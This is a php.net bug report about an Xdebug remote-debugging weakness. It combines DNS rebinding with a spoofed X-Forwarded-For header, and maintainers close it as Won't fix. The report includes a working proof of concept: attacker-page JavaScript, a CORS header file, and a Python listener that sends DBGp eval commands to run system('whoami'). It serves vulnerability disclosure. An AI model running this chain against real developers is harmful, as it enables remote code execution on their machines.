php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #76149 [RCE]xdebug which configured to use remote debugging may leads to RCE
Submitted: 2018-03-26 07:30 UTC Modified: 2020-01-20 17:16 UTC
Votes:4
Avg. Score:3.2 ± 1.5
Reproduced:1 of 2 (50.0%)
Same Version:0 (0.0%)
Same OS:0 (0.0%)
From: md5_salt at qq dot com Assigned: derick (profile)
Status: Wont fix Package: Xdebug
PHP Version: 7.2.4RC1 OS: all
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: md5_salt at qq dot com
New email:
PHP Version: OS:

 

 [2018-03-26 07:30 UTC] md5_salt at qq dot com
Description:
------------
A php programmer who use xdebug's remote debugging feature may affects RCE when he just access to attacker's website in modern browsers. The detail as follows.

As in the doc(https://xdebug.org/docs/all_settings#remote_connect_back) of xdebug, if `xdebug.remote_connect_back` is enabled, the `xdebug.remote_host setting` is ignored and Xdebug will try to connect to the client that made the HTTP request. It checks the `$_SERVER['HTTP_X_FORWARDED_FOR']` and `$_SERVER['REMOTE_ADDR']` variables to find out which IP address to use.

If xdebug is configured as follows, we can use `$_SERVER['HTTP_X_FORWARDED_FOR']` as the connect back ip.
```
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log
```

For php programmers, they always setup a local environment and enable xdebug to debug php programs. If we can send a http request with `X-Forwarded-For` header(which points to attacker's server) to local url just like `http://127.0.0.1/index.php` or `http://127.0.0.1/config.php` then attacker can get a xdebug's connect back and then use DBGp commands to execute any php code.

As we all know, to send special request headers using ajax in browsers, ajax first send an `OPTIONS` request to the target url and we need `Access-Control-Allow-Headers: X-Forwarded-For` in the response headers, but there always no such a header in the local program.

There is a tech called dns rebinding. Attacker can setup a private dns server and make a domain first resolved to attacker's ip and then 127.0.0.1 . The victim first access attacker's domain in the browser, pull payloads from attacker's server and then DNS changed to 127.0.0.1 and the browser launch the exploit to 127.0.0.1 . As the domain do not change, the browser's security features are still obeyed, but the exploit is send to 127.0.0.1.

The urls referenced
https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
https://medium.com/0xcc/visual-studio-code-silently-fixed-a-remote-code-execution-vulnerability-8189e85b486b

Test script:
---------------
The payload used in attacker's website.
```js
<script type="text/javascript">
function exp(url, remote){
	var invocation = new XMLHttpRequest();
	invocation.open('GET', url, true);
	invocation.setRequestHeader('X-Forwarded-For', remote);
	invocation.onreadystatechange = function(){};
	invocation.send();
}
url = 'http://attacker-domain-with-dns-rebind/index.php?XDEBUG_SESSION_START';
remote = '8.8.8.8' // attacker's server ip  
exp(url, remote)
setInterval(function(){exp(url, remote)}, 1000)
</script>
```

The payload for attacker's index.php.
```php
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: X-Forwarded-For');
```

The payload for xdebug's connect back.
```py
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = """system('whoami');"""
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
```



Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-03-26 08:08 UTC] md5_salt at qq dot com
I think the way to solve this is not to get connect back ip from X-Forwarded-For header.
 [2018-03-26 17:37 UTC] stas@php.net
-Assigned To: +Assigned To: derick
 [2018-03-30 05:54 UTC] md5_salt at qq dot com
the idea is just like http://bluec0re.blogspot.ch/2018/03/cve-2018-7160-pwning-nodejs-developers.html

you can check that for reference
 [2018-03-30 06:08 UTC] remi@php.net
-Type: Security +Type: Bug
 [2018-03-30 06:08 UTC] remi@php.net
Please read https://wiki.php.net/security

Not a security issue
* requires the use of debugging facilities - ex. xdebug, var_dump
 [2020-01-20 17:16 UTC] derick@php.net
-Status: Assigned +Status: Wont fix
 [2020-01-20 17:16 UTC] derick@php.net
This is not a bug in PHP, and a feature in Xdebug. You should not have your PHP install with Xdebug open to the world.
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Mon Mar 31 19:01:30 2025 UTC